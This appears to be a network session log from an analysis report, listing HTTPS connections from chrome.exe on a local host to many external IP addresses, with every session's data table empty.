Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1544	192.168.2.4	51672	18.160.10.58	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1545	192.168.2.4	51633	82.145.213.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1546	192.168.2.4	51674	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1547	192.168.2.4	51677	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1548	192.168.2.4	51671	3.209.99.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1549	192.168.2.4	51679	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1550	192.168.2.4	51680	34.111.131.239	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1551	192.168.2.4	51681	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1552	192.168.2.4	51682	35.190.90.30	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1553	192.168.2.4	51683	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1554	192.168.2.4	51684	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1555	192.168.2.4	51688	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1556	192.168.2.4	51691	34.233.219.30	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1557	192.168.2.4	51687	74.119.119.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1558	192.168.2.4	51685	52.46.151.129	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1559	192.168.2.4	51692	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1560	192.168.2.4	51693	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1561	192.168.2.4	51690	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1562	192.168.2.4	51695	35.190.80.1	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1563	192.168.2.4	51689	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1564	192.168.2.4	51696	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1565	192.168.2.4	51698	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1566	192.168.2.4	51699	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1567	192.168.2.4	51697	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1568	192.168.2.4	51694	3.209.218.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1569	192.168.2.4	51703	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1570	192.168.2.4	51701	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1571	192.168.2.4	51700	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1572	192.168.2.4	51704	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1573	192.168.2.4	51702	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1574	192.168.2.4	51705	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1575	192.168.2.4	51711	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1576	192.168.2.4	51713	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1577	192.168.2.4	51707	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1578	192.168.2.4	51709	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1579	192.168.2.4	51710	3.209.99.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1580	192.168.2.4	51706	52.86.126.204	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1581	192.168.2.4	51714	162.19.138.117	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1582	192.168.2.4	51712	34.36.216.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1583	192.168.2.4	51716	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1584	192.168.2.4	51717	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1585	192.168.2.4	51722	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1586	192.168.2.4	51721	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1587	192.168.2.4	51715	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1588	192.168.2.4	51708	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1589	192.168.2.4	51736	18.160.10.58	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1590	192.168.2.4	51720	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1591	192.168.2.4	51724	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1592	192.168.2.4	51723	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1593	192.168.2.4	51719	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1594	192.168.2.4	51728	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1595	192.168.2.4	51743	35.170.221.127	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1596	192.168.2.4	51725	80.77.87.162	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1597	192.168.2.4	51740	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1598	192.168.2.4	51737	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1599	192.168.2.4	51727	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1600	192.168.2.4	51747	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1601	192.168.2.4	51726	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1602	192.168.2.4	51749	34.117.239.71	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1603	192.168.2.4	51751	69.166.1.35	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1604	192.168.2.4	51752	34.229.3.43	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1605	192.168.2.4	51746	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1606	192.168.2.4	51741	8.28.7.82	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1607	192.168.2.4	51730	18.160.10.58	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1608	192.168.2.4	51735	3.209.99.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1609	192.168.2.4	51744	68.67.181.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1610	192.168.2.4	51759	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1611	192.168.2.4	51767	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1612	192.168.2.4	51733	18.160.10.58	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1613	192.168.2.4	51729	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1614	192.168.2.4	51745	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1615	192.168.2.4	51732	18.160.10.58	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1616	192.168.2.4	51775	34.203.68.24	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1617	192.168.2.4	51763	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1618	192.168.2.4	51766	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1619	192.168.2.4	51738	3.209.99.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1620	192.168.2.4	51734	18.160.10.58	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1621	192.168.2.4	51739	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1622	192.168.2.4	51762	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1623	192.168.2.4	51760	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1624	192.168.2.4	51776	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1625	192.168.2.4	51755	8.28.7.84	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1626	192.168.2.4	51768	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1627	192.168.2.4	51765	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1628	192.168.2.4	51742	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1629	192.168.2.4	51748	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1630	192.168.2.4	51757	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1631	192.168.2.4	51764	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1632	192.168.2.4	51761	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1633	192.168.2.4	51771	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1634	192.168.2.4	51756	54.166.87.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1635	192.168.2.4	51769	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1636	192.168.2.4	51758	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1637	192.168.2.4	51754	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1638	192.168.2.4	51753	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1639	192.168.2.4	51773	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1640	192.168.2.4	51774	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1641	192.168.2.4	51777	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1642	192.168.2.4	51778	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1643	192.168.2.4	51780	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1644	192.168.2.4	51781	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1645	192.168.2.4	51779	18.160.24.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1646	192.168.2.4	51784	54.166.87.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1647	192.168.2.4	51782	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1648	192.168.2.4	51789	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1649	192.168.2.4	51798	52.22.88.168	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1650	192.168.2.4	51786	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1651	192.168.2.4	51785	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1652	192.168.2.4	51791	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1653	192.168.2.4	51783	185.184.8.90	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1654	192.168.2.4	51793	34.36.216.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1655	192.168.2.4	51795	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1656	192.168.2.4	51790	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1657	192.168.2.4	51794	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1658	192.168.2.4	51802	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1659	192.168.2.4	51796	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1660	192.168.2.4	51807	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1661	192.168.2.4	51788	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1662	192.168.2.4	51800	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1663	192.168.2.4	51813	54.234.166.1	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1664	192.168.2.4	51797	134.122.57.34	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1665	192.168.2.4	51804	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1666	192.168.2.4	51801	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1667	192.168.2.4	51808	8.28.7.82	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1668	192.168.2.4	51803	34.229.3.43	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1669	192.168.2.4	51815	8.28.7.84	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1670	192.168.2.4	51799	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1671	192.168.2.4	51792	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1672	192.168.2.4	51811	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1673	192.168.2.4	51810	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1674	192.168.2.4	51826	8.28.7.84	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1675	192.168.2.4	51816	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1676	192.168.2.4	51814	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1677	192.168.2.4	51809	8.2.110.17	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1678	192.168.2.4	51825	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1679	192.168.2.4	51805	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1680	192.168.2.4	51817	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1681	192.168.2.4	51806	162.19.138.117	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1682	192.168.2.4	51820	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1683	192.168.2.4	51821	18.160.10.111	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

